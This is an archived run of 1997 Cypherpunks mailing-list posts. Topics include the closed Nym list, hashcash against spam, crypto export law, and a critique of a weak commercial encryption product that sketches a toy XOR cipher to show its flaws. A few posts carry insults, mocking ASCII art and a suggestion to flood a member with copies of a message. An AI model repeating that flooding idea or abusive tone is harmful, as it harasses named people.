> Declan decided that rebroadcasting articles out of Nym would not be
> allowed, but he said nothing about not mentioning its existence. (Nor would
> I have agreed to be on a list whose very existence I could not disclose.)
> Anyway, tonight when I mentioned its existence as I was posting an article
> here that I wrote for the Nym list, I half-expected some comments from
> Dimitri.
> 
> But I didn't expect someone to post the subscription instructions
> (anonymously, of course). Hint: it wasn't I.
> 
> Anyway, I suppose that by mid-morning tomorrow Declan is going to have to
> decide how to deal with subscriptions by Vulis, Human Gus-Peter, Toto, and
> all the others.

The Nym list appears to be closed.  (The web page says so -- so I didn't
try.)  This state of affairs may even be my fault.  The history, for
those who care, is appended.

It's a shame -- if David Brin really is posting there as one of Tim's
recent messages suggested I'd be very interested in seeing his posts. 
(Thanks, Tim, for reposting yours here.)

I still don't think it makes much sense to have a conversation about the
use of nyms and then try to protect the posters' words from public
view.  If posters are concerned about public scrutiny, why not use a
nym?  Not to mention the fact that one would have to keep the list
closed to have a prayer of enforcing the no-repost rule.

--Daniel Boone

History:

Robert Hettinga was briefly forwarding "nym" posts to e$pam, where I saw
them.  Declan publically requested that posts not be forwarded.  I sent
Robert a message asking if he was going to comply -- and expressed (to
Robert) my lack of respect for a no-forwarding policy.  Robert (that
notorious cross-pollinizer that he is) forwarded my message to Declan,
which was unfortunate -- as Declan no doubt considered my message
insulting.  (Addressed to Declan, it would have been.) I got a very
chilly "response" from Declan about how he had no duty to entertain me
with his list traffic.  I took the opportunity to ask him how his
no-repost rule would fare when someone using a nym started reposting the
traffic publicly.  He responded with "the list is now closed" or words
to that effect.  I realized too late he may have thought _I_ was
threating to do the evil reposting deed.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 16 Dec 1997 02:30:07 +0800
To: cypherpunks@cyberpass.net
Subject: The "warnings" several of us received from Big Brother
In-Reply-To: <a3VcpW2klLwAYskYVqKWcw==@bureau42.ml.org>
Message-ID: <v03102804b0bb1490467e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:22 AM -0700 12/15/97, Anonymous wrote:
>bureau42 Anonymous Remailer <nobody@bureau42.ml.org> writes:

>> I've seen brief mention of this before, but have never seen
>> any details on the list. Aside from Jim Choate questioning
>> my arithmetic or attention span, would anyone be kind enough
>> to provide pointers to information about incidents of c-p
>> list members having received unsolicited email from .gov?
>
>Check the archives.  There was plenty of discussion when it happened.
>
>I'm convinced they used names pulled out of Bell's computer, not a
>cypherpunks subscriber list as they sent my copy of the SPAM to an
>email address that had long been retired at the time of the mailing,
>but had been used to exchange email with Jim.  Far more active list
>members than I didn't get a copy.

I got _two_ of the apparent "warnings," received by me before there was
even any public announcement of the Jim Bell raid. As Anonymous notes in
his message (snipped here), one of them was titled "Death to Tyrants!."

The headers show no signs of standard forgery, and point back to government
computers.

I took this as warning that Big Brother is planning more raids and is
trying to intimidate outspoken critics.

Some country we live in, eh? The Land of the Freeh.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ge' Weijers" <ge@Progressive-Systems.Com>
Date: Tue, 16 Dec 1997 00:28:27 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: hashcash spam prevention & firewalls
In-Reply-To: <199712130059.AAA06343@server.eternity.org>
Message-ID: <Pine.LNX.3.95.971215105046.18606A-100000@bommel>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 13 Dec 1997, Adam Back wrote:

[...]
> (Hashcash is a way of proving that the sender has consumed a tunable
> amount of CPU time.  The verification process consumes negligible CPU
> time.  This allows us to require the would be spammer to spend say 20
> seconds per mail, which will slow him down considerably, over his
> current tactics of 1000 long Bcc lists allowing him to hand off
> spamming tasks to mail servers.)
[...]

Sounds like a headache to me: people use wildly different machines to
handle their e-mail. Some places use 25 MHz '486 machines, others use
300 MHz Pentium-IIs, a difference of 1-2 orders of magnitude? Collision
search is also easy to parallelize over a network, so the load can be
shared using, say, 50 Pentium-II 300MHz PCs, costing less than $100,000
(we don't need lots of disk or memory, just a fast CPU). Here's at least
three orders of magnitude for you.

The '486 may be used by a school, while the 50 Pentium-II machines
are owned by Spamford W., Esq. Now we're faced with a dilemma: we either
limit the school's outgoing e-mail capacity severely, or Spamford will
keep on sending spam. For every thousand messages the school sends
Spamford can send a million. 

The risk: starting a CPU arms race.

Ge'


Ge' Weijers                                Voice: (614)326 4600
Progressive Systems, Inc.                    FAX: (614)326 4601
2000 West Henderson Rd. Suite 400
Columbus, OH 43220  	     http://www.Progressive-Systems.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Tue, 16 Dec 1997 01:29:31 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Plot to Overthrow U.S.Government: three indicted
In-Reply-To: <N89qHe19w165w@bwalk.dm.com>
Message-ID: <199712151721.LAA08869@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



Dr. Vulis writes:

> * a perp mail-ordered some bio materials that could be used to breed viruses
> * Unfortunately, there's no law against it. However the company he bought it
>   from calls the feds

If you want the SWAT Team at your house immediately, just inquire about
purchasing one of those handy little devices that writes the magnetic
strip on credit cards. 

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 16 Dec 1997 04:11:11 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The closed Nym list
In-Reply-To: <34957D5E.720C5BC5@alaska.net>
Message-ID: <v03102807b0bb2a0d5305@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



(I'm cross-posting this to the Nym list. While posts from within the Nym
list are not supposed to be cross-posted outside the list, there are of
course no rules about including articles from the outside world, or from
cross-posting _in_. Followups may have to edit the distribution list,
though.)


At 11:56 AM -0700 12/15/97, Daniel J. Boone wrote:

>The Nym list appears to be closed.  (The web page says so -- so I didn't
>try.)  This state of affairs may even be my fault.  The history, for
>those who care, is appended.
>
>It's a shame -- if David Brin really is posting there as one of Tim's
>recent messages suggested I'd be very interested in seeing his posts.
>(Thanks, Tim, for reposting yours here.)

Yes, it's a shame. And, as you and others have pointed out, anyone who
thinks their messages on the "Nym" list will not eventually be published or
made available to Web search engines has been living on another planet for
the past several years.

Let me emphasize that I fully support Declan's right to run his list as he
sees fit. Normally I avoid posting to lists that are under the personal
control of some editor or manager, which is why I have avoided Coderpunks,
Cryptography, Fight-Censorship, etc. But I made an exception in this case,
as I felt the topic of "nyms" was just too important to me to avoid the
list on a matter of principle.

The motivation for the "closed list, no retransmission outside the list"
rule was mostly because some of the participants wanted to be able to speak
freely without being quoted in other places, as I understood the arguments.
Declan said that several participants had told him they wouldn't feel
comfortable posting to the list if they knew their comments might appear
elsewhere. (Sorry I can't quote it exactly, but that's the rule the list is
operated under.)

It's _doubly_ ironic because digital pseudonyms can be used for just this
sort of protection, and because we currently have only one obvious
pseudonym (Black Unicorn) posting. I believe that submissions to the list
must be by subscribers only, as Declan said recently that he is considering
allowing posting from addresses other than those subscribers subscribed
under.

This means a list devoted to discussion of digital pseudonyms is itself
being protected by laws (Declan's laws) rather than by technology. It also
means the sage participants are being shielded from some of the more
interesting uses of nyms.

Doubly ironic, indeed.

Having said this, it's not all that big a deal. I've felt little need to
retransmit the messages of others to this and other lists. Nor do I care
especially strongly that the participants on Nym are themselves being
shielded from nyms. It bemuses me.

>I still don't think it makes much sense to have a conversation about the
>use of nyms and then try to protect the posters' words from public
>view.  If posters are concerned about public scrutiny, why not use a
>nym?  Not to mention the fact that one would have to keep the list
>closed to have a prayer of enforcing the no-repost rule.

Indeed.


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Mon, 15 Dec 1997 19:25:46 +0800
To: Adam Back <cypherpunks@cyberpass.net
Subject: Re: hashcash spam prevention & GSM/SMS
In-Reply-To: <199712130059.AAA06343@server.eternity.org>
Message-ID: <3.0.3.32.19971215122019.00923e40@localhost>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back wrote:
>I am looking at writing some hashcash
>(http://www.dcs.ex.ac.uk/~aba/hashcash/) based spam prevention
>software.  The motivation for writing spam prevention software is that
>spam is better combatted with technical methods than legal or
>political

Would this work for GSM phones as well? I believe that GSM-spam is becoming
a wide spread problem. In Finland the GSM phone numbers are published in
online databases where spammers get the numbers and they use free
Internet-to-GSM/SMS message services.

Using hashcash on the smartcard in a GSM phone would be really neat!


Mike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 16 Dec 1997 01:43:39 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <4b9b4413a3c76c5844ee488a0193d669@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



If I live in the US and put the perl RSA code in
my sig, then post in an international newsgroup,
have I illegally exported encryption?

If I put that same code on my web site, then
post requests to view my site in an
international newsgroup, have I exported it?

What is the penalty for exporting powerful
encryption?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Alex Woolfson" <abdiel@worldnet.att.net>
Date: Tue, 16 Dec 1997 05:16:16 +0800
To: <support@pc-magic.com>
Subject: Encrypted Magic Folders
Message-ID: <001001bd099c$621f2b80$09a0400c@default>
MIME-Version: 1.0
Content-Type: text/plain



Hello!

First of all let me go on record by saying that I really like the idea and
the interface you've designed for your product, Encrypted Magic Folders.
The interface is easy to use and efficient.  Job well done!

There are, however, some security concerns I'd like resolved before I would
be interested in purchasing your product.

You scramble filenames which is an excellent idea.  I might suggest that you
also scramble the directory names as well.  When using the freeware program
Directory Snoop 1.1 designed by Kent Briggs (www.briggsoft.com) in Windows
95, I was easily able to find the directories that EMF had hidden.   I
wasn't able to access them, but I could see they were there *and also what
their names were*.  I don't know if it is possible to hide these directories
from such a program (although, obviously, that would be ideal), but it seems
that we should at least be able to scramble the directory filenames so that
little information is gleaned about which directories are worth attacking by
cryptanalysis and which are not worth the attackers' trouble.

On the question of encryption algorithms, let me add my voice to those who
have been suggesting that you use strong and tested algorithms like IDEA or
Blowfish.  I feel very strongly that this is essential to any product that
purports to provide true security to its users.  If your product were meant
to merely keep your kid sister from reading your files, then the security
through obscurity your product seems to offer would be sufficient.  But your
marketing materials suggest that you wish to offer a greater level of
security than that.

Not being a cryptologist, I consulted with members of the Cypherpunk mailing
list to aid me in evaluating the security of your software referring them to
the "How Secure Is It?" section of your Help file.  These guys really know
their stuff.  The verdict was unanimous--that the security of Encrypted
Magic Folders was not sufficient for anything but the most casual uses.  I
have included below one of the more thorough and detailed of the replies in
the hopes that it will be useful in improving the strength of your software.

I would also feel more comfortable if you were willing to have the source
code of your product reviewed by industry experts (such as Bruce Schneier of
Counterpane Systems who wrote the very well respected Applied Cryptography
book as well as Blowfish).  If you are concerned about someone stealing your
idea, non-disclosure agreements should be able to offer sufficient legal
protection.  Truly secure algorithms and programs can withstand this kind of
scrutiny without compromising their security.  Relying on the fact that your
company is "too small and obscure" for an attacker to develop an prepackaged
attack offers little comfort--if someone really wants to have access to my
files, I imagine they'll devote the time to attempt to crack your
product--copyright infringement notwithstanding!

If you haven't already, I would strongly suggest that your developers read
Schneier's book Applied Cryptography.  It does a much better job of
explaining the difference between true security and security through
obscurity.  And it's written for programmers who wish to use cryptography in
their programs.  It's not a bad read, either.  :-)

I am really interested in purchasing a product like Encrypted Magic Folders,
but for such an application, security is obviously the biggest priority.  I
believe others who have not taken the trouble to write you feel the same
way.  If EMF makes use of strong encryption and is willing to have the
source code of its product reviewed by industry experts, I would be
interested in paying for it.  For a $60.00 product, I believe it is fair to
expect this kind of protection.

Yours

Alex Woolfson

Below is the response of Ray Arachelian of the Cypherpunks list.  There is a
bit of sarcasm involved, but I trust you'll be able to see beyond it to the
valid criticism he makes.  I hope you find it useful.

On Thu, 4 Dec 1997, Alex Woolfson wrote:

>     EMF's encryption offers good protection and excellent speed.  It
>     hasn't been broken yet.  It is, as far as we know, exportable.  THERE
>     IS NO BACKDOOR.  Should you forget your password there is nothing we
>     can do to decrypt your encrypted files.

If it is exportable, then it is weak encryption by definition.  The
question is how weak.  Reading their marketting crap provides more
insights in just how lame this is:

>     Quite a few people ask us how big EMF's key size is.  They've learned
>     from other encryption programs that the bigger the key the stronger
>     the encryption.  This really doesn't apply to EMF.
>
>     We developed our own encryption instead of using a standard because
>     we wanted EMF to be able to decrypt at the byte level.  In this way
>     we only need to decrypt/encrypt the data your programs require and
>     not the entire file.

In other words: security through obscurity.  Smells like snake oil, looks
like snake oil, it even has bits of snake scales in it.  Heck, if they say
that the key size is not important, it's likely very tiny, or regardless
of what key size you'd use (if you had any choice), it's such a weak
cypher that it wouldn't get you anything.


>     In theory, because we decrypt at the byte level, the biggest key we
>     could use would be 8 bits - which is a joke.  So instead of
>     decrypting every hunk of data using the same key, as most other
>     encryption programs do, we developed an algorithm to vary the key
>     based on the data's location within the file.  In this way we get
>     both high security and high speed.  We are trying to patent EMF's
>     encryption method.

Whoop.  so the key is the location of the data?  At most, this means a 32
bit key on most file systems, 64 bits on newer file systems.  This assumes
that your file is long enough for that.  But as a key, this is totally
useless as the key is the location which is visible to all.  Likely they
would be wise to "mix" this location key with the passphrase.

This offers little more than CBC would.  The only difference is that CBC
is based on the previous block, where this is based on the location of a
byte in the file (which is known) whereas a CBC depedns on knowledge of
the previous block.

If they did it the right way, they'd use the passphrase to build a lookup
table of large keys based on the byte location within a file, but because
this depends on your passphrase, your security is still that of the
passphrase at maximum.  There may be ways to weaken this.

>     Having said all that, truth is, most encryption isn't "cracked" by
>     breaking the algorithm, it's done by guessing the password.  Brute
>     guessing of passwords tends to level the playing field tremendously.
>     We actually have an advantage because we aren't an established
>     standard.  Because we're small and relatively obscure chances are no
>     one will take the effort to write a password guessing program (which
>     incidentally would violate copyright and intellectual property laws.)
>     Even if someone were to go thru all this effort we could easily
>     change the encryption method for the next update.

This is total bullshit.  It's Grade A, government approved exportable
snake oil.  Just because they are small and obscure it doesn't guarantee
you any extra safety.

Just because nobody has bothered to write a brute forcer for their code
doens't mean nobody can do so.  And no, this would not violate any of
their copyright if the author of the brute forcer proggie wrote it without
copying their code.  It might violate intellectual property laws if they
had a patent on it, but they can't get one since they're going by
security through obscurity.  They claim to be applying for a patent, but
if they do, their code is published and their weaknesses will be
displayed.

It might violate trade secret laws if someone who has the source or the
algorithm shares it, but not if someone reverse engineers it (depending on
reverse engineering laws of course.)

Just because they could "rewrite" the code in the next update against
cracking or brute force attacks does not buy you security.  FYI: If you
use this crap and someone steals a copy of the encrypted files off your
hard drive, it doesn't matter what new updates this company produces.  The
fact is you used the older breakable version, the attacker has your
cyphertext and will decode it.


>     If we used an established encryption method like DES or Blowfish then
>     your files would probably have to be fully decrypted when opened,
>     would exist on disk as unencrypted while you're using them, and then
>     would need to be encrypted when closed.

Translation: We don't use CBC, because that would be more work and slow
down our crappy cypher.  Deeper translation: break any portion of any
encrypted file and you'll likely break the whole thing if not huge parts
of it.

"Established encryption methods (sic)" use CBC because it adds security.
Their algorithms are well published and well known so people can find
their weaknesses and publicise them.  Whatever weaknesses there are in
this thing are hidden from those who can't or won't reverse engineer it.
But there are plenty of those who can and will, and have no qualms about
releasing it anonymously, or worse: keeping the expolit to themselves so
as to exploit those stupid enough to use this lame shit.

It only takes one cracker with a good disassembler to reverse engineer
their code and find all the holes, and they'll be out of business.  If
what protects your data is the cypher, and not the key, then breaking the
cypher is all you need to do.

Heck, I'd bet they use something really shitty like this: (since "key size
is not important", and "depends on location".)


char code(char *passphrase, char data, long location);
{
  int i; char c;

  for (i=0; passphrase[i]>0; c^=passphrase[i++]);

  return (data ^ c ^ (char)(location & 0xff));
}

Gee, I probably violated their "intellectual" property by guessing their
code, heh.


> This has multiple
>     disadvantages.  First, if your computer shuts down while you have
>     "encrypted" files open, then those files would be unencrypted.  This
>     doesn't happen with EMF as your encrypted files are always encrypted
>     as stored on disk.  The second disadvantage is that it slows things
>     down tremendously.

Not if you use an encrypted disk driver.  then, all your data is encrypted
all the time.  (You get into other issues such as keeping the passphrase
or key from falling into the pagefiles, etc...)

[Meaningless babble deleted.]



=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 16 Dec 1997 04:54:10 +0800
To: Anonymous <anon@anon.efga.org>
Subject: Re: your mail
In-Reply-To: <ee55d298e592755d411c6ddce6e28ab3@anon.efga.org>
Message-ID: <Pine.A41.3.95.971215132939.46080A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 14 Dec 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Foulmouthed Timothy May rehashes his lies like a rabid parrot 
> choking on a stale mantra stuck in its poisonous beak.
> 
>           o/    \  /    \ /     /      \o
>          /#      ##o     #     o##      #\ Timothy May
>          / \    /  \    /o\    / |\    / \
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: webmaster@olsen.ch
Date: Mon, 15 Dec 1997 21:43:59 +0800
To: cypherpunks@ssz.com
Subject: Welcome to OANDA financial services
Message-ID: <9712151337.AA05819@baiza.olsen.ch>
MIME-Version: 1.0
Content-Type: text/plain



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e-mail: oanda-info@oanda.com                                      
http://www.oanda.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Tue, 16 Dec 1997 10:45:41 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: remailer hashcash spam prevention
In-Reply-To: <v03102800b0b87ebad87a@[208.129.55.202]>
Message-ID: <v03102804b0bb627815a1@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



>Steve Schear <schear@lvdi.net> writes:
>> I disagree that the best way to implement hashcash is solely via the SMTP
>>  mechanism.
>
>It is nicest to implement the blocking at the SMTP agent if this can
>be done in a privacy preserving manner, because it reduces the
>bandwidth consumption for users, and reduces the complexity of their
>local software -- they only need to generate hashcash for outgoing
>mail.
>
>> Almost any efficient hashcash mechanism will require some sort of history
>>  file, or "invited list," to allow mail lists and those we have corresponded
>>  with to continue to do so w/i having to supply hashcash each time.  This
>>  list contains information which might have privacy implications and so
>>  should not be stored at the ISP, which can be forced to reveal such info
>>  w/o the knowledge of the client.
>
>See my post to Bill Stewart with 
>
>	Subject: supeona immune postage free list
>
>I think you can construct ways to allow the ISP to reject messages
>without postage, and to allow frequent users to be exempt, and to do
>this such that there is no invited list which becomes a juicy target.
>
>> If 'open' list policies were changed so that anyone could post if they
>>  supplied enough hashcash for each mailing list recipient for their first 1
>>  or 2 posts, and thereafter no longer needed to supply hashcash (sort of
>>  minimum reputation capital), it might eliminate hit-and-run or throw-away
>>  account SPAMers without offering too high a hurdle to new or infrequent pos
>> ters.
>
>That is an interesting thought.  Well the interesting thought is that
>it gives us a way to block spam at the list server, because a) the
>spammer has to overcome the hurdle you described, and b) the list
>operator could punish spammers who started spamming once getting over
>the hurdle by blocking them.  The usual trick of switching to a
>different address, or a remailer would not work because they would
>still have to generate a new hashcash coin as the list operator could
>block the coin.
>
>I would however think that a large denomiation coin made out to the
>list server would make more sense than generating lots of coins for
>all of the list subscribers.
>
>However there is a nasty side to the above, in that it encourages the
>list operator to censor posts he considers spam.
>
>It would be simpler and I think tend to less encourage censorship to
>introduce a third party filtering service such as Ray Arachellian's,
>and the other one, which had an option to have only spam filtered out.
>
>At this moment in time the spam content on mailing lists I am on is
>very low.  I get much more in email.
>
>Doubtless this would change when spammers discovered that email spam
>is too CPU expensive to use.
>
>Also hashcash really doesn't work well for USENET.  NoCeM's are cool
>things for USENET, a distributed ratings system, and I understand can
>be configured to work for mailing lists also.
>
>> Since most popular email clients allow plug-ins (e.g. Eudora) or extensions
>>  via Java/ActiveX, providing hashcash functionality via a plug-in and the
>>  java generators you propose would provide a simple mechanism to test its
>>  effectiveness w/o needing to involve the IETF.  
>
>You can do a lot with local SMTP and POP3 proxies.
>
>There are a couple of java ones around.
>
>Anyone know if there is code available to do SMTP and POP3 proxying?
>
>I am told by one subscriber to look at TIS firewall toolkits imap
>program.
>
>> The shortcoming of a
>>  plug-in approach is that few newbies will know of it or install it and will
>>  therefore have to wait till its built into the new release of whatever
>>  client they use or until some or all of the features are supplied by their
>>  ISP, 
>
>Yes, this problem is the motivation for trying to work out ways that
>as much as possible could happen at the ISP side for less technical
>users, and even for technical users, I know few people are interested
>to install new software.
>
>Also ISPs often seem more concerned about spam abuse than users.
>
>> allowing those calling regulation to continue to blow their horns. 
>>  However, if after a successful cypherpunk beta we could get the major email
>>  client companies (Netscape, M$ and Qualcomm) to include our plug-ins with
>>  all their new updates and offer them for free download from their Web
>>  sites, it could quickly steal the CAUCE folk's thunder.
>
>It would be cool if we could pull that one off.
>
>Do we have anyone on list who is familiar with eurdora, qualcomm and
>netscape plugins who would like to interface a hashcash library to
>these systems?
>
>Anyone who can write java applets want to implement a java hashcash
>library?  (Should be easy.. jdk1.1.3 includes a sha1 function ... I am
>not sure if this is included with netscape 4 or not, but there are
>also numerous sha1 native java codes around, www.systemics.com being
>one).
>
>Adam
>-- 
>Now officially an EAR violation...
>Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/
>
>print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
>)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Tue, 16 Dec 1997 10:46:14 +0800
To: Jim Choate <cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Radio Free Cypherpunks... (fwd)
In-Reply-To: <199712141414.IAA01470@einstein.ssz.com>
Message-ID: <v03102806b0bb7118854b@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:14 AM -0600 12/14/1997, Jim Choate wrote:
>Forwarded message:
>
>> Date: Sun, 14 Dec 1997 01:28:43 -0500
>> From: Declan McCullagh <declan@well.com>
>> Subject: Re: Radio Free Cypherpunks...
>> 
>> At 08:13 -0600 12/13/97, Jim Choate wrote:
>> >With the recent changes in the law regarding Pirate Radio is anyone looking
>> 
>> What changes? At the Cato Institute holiday party last night, I was
>> speaking to a lawyer from the Institute for Justice about pirate radio
>> lawsuits. The changes you mention didn't come up. What are they?
>
>Recently a pirate radio was charged by the FCC for operating without a
>license. The judge in the case heard the arguments and said their was merit
>in the question of constitutionality of the FCC regulations. The radio was
>allowed to stay on the air while both sides prepared their cases. Apparently
>the judge said something about this being the first time such constitutional
>questions had been raised.
>
>There is also at least one piece of cpunks traffic in this about 2 weeks
>old when the judge made the ruling.

Yeah, I posted it.

Over a year ago I started a heated thread on the Telecom Regulation list, "Basis of FCC jurisdiction," which posited that the Commerce Clause basis for FCC authority might not hold for very low power and tens of GHz transmissions.  My argument, in short, was that if a transmission couldn't reasonably be expected to be detectable (using common receiver technology) across state lines then the FCC shouldn't have jurisdition.

--Steve

PGP mail preferred, see  	http://www.pgp.com and
				http://web.mit.edu/network/pgp.html

RSA fingerprint: FE90 1A95 9DEA 8D61  812E CCA9 A44A FBA9
RSA key: http://keys.pgp.com:11371/pks/lookup?op=index&search=0x55C78B0D
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
Lammar Laboratories       |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: schear@lvdi.net
---------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 15 Dec 1997 23:37:30 +0800
To: m2n@alpha.jpunix.com
Subject: Re: Another of Gary Burnore's Lies Exposed
In-Reply-To: <3491255e.66510714@news2.ibm.net>
Message-ID: <199712151510.QAA24614@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



rashidk@mailexcite.com (Rashid Kaman)

> X-No-Archive: yes

> >Shades of McCarthyism.... 
>      
> Such big words, my my!  :-) 

Sorry, I forgot you were from DataBasix, where most words are four letters in
length.  (Hint: I wasn't talking about CHARLIE McCarthy...)
 
> >Strangely enough, a search of the public database of listed telephone numbers
> >turns up nothing for you.
>  
> Why did you look for it?  To be a champion of privacy you first have
> to respect privacy.

Of course I respect privacy.  Your phone number would only have been there if 
you'd CHOSEN to have it listed by the phone company, right?  And if you'd
chosen to have it listed, then it would be logical to assume that you WANTED
people to have it.  It's not like I went to your phone company and demanded 
that they turn over a listing of their unlisted numbers.  (Your buddy Burnore, 
OTOH, did demand a list of all the users of the Huge Cajones Remailer from 
their logs.  In case you're unclear on the concept, people use remailers so
that people like Gary and Belinda WON'T have access to their e-mail addresses.)  

It was Gary Burnore and Belinda Bryan who've been denouncing "hiding behind" 
anything, so I found it sort of ironic that all of them have unlisted phone 
numbers while whining about my unlisted e-mail address.  (Should I adopt 
Burnore's tactics and start calling the denizens of DataBasix "Unlisted 
Assholes"?  Nah!)
 
> >> >If remailers were shut down, I'd lose my ability to post.
> >>
> >> Why is that?
> >
> >For the same reason you'd no longer be able to post from mailexcite.com if
> >someone decided to shut it down!
>  
> That's not an answer, it's a cope out.

"Cope out"?  Sorry, I don't have a DataBasix-speak dictionary, and am not
familiar with your in-house (or outhouse) jargon.

Regardless of whether it is a "cope out" or not, it is an answer.  Sorry if you
don't approve.  If the remailer I use for posting were to shut down, I
obviously would no longer be able to utilize that resource, just as you'd no
longer be able to use mailexcite.com if that were to be shut down.  Something
about that too difficult for you to understand?  You might feel differently if
Billy "Wotan" McClatchie had gone after Mailexcite rather than Mailmasher.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Tue, 16 Dec 1997 06:01:13 +0800
To: cypherpunks@toad.com
Subject: The Joys of Being Canadian
In-Reply-To: <1.5.4.32.19971121122153.006cd9fc@pop.pipeline.com>
Message-ID: <3.0.2.32.19971215163613.035c9b78@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Phone Company Rep:  "What's your Social Security number?
Answer:  "I don't have one.  I'm Canadian."

Power Company Rep:  "What's your Social Security number?
Answer:  "I don't have one.  I'm Canadian."

Cable Company Rep:  "What's your Social Security number?
Answer:  "I don't have one.  I'm Canadian."

Doctor to Seasoned Citizen:  "I can't treat you privately or I'll be barred 
from taking Medicare patients for two years."
Answer:  "Sure you can.  I'm Canadian."

DCF (an occasional Canadian)

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

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yLs1uQ9PoPfsk+Se+2UbpY07I7lrtkB6MecZygTALvimhkbQMAM6hQLLQxSc5TYA
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Tue, 16 Dec 1997 10:55:19 +0800
To: Jim Choate <cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Fw: Jim Bell Sentenced (fwd)
In-Reply-To: <199712141834.MAA02564@einstein.ssz.com>
Message-ID: <v03102808b0bb7a5ab22c@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



I think both you and Bell are in relatively good agreement on the problem, differing mainly on the means of a solution.  Although, like you I have never considerd engaging in acts of violence to right the wrongs in our legal structure, I also do not believe that the changes you wish can reasonably be expected to be achieved through legal and democratic means within our lifetimes.

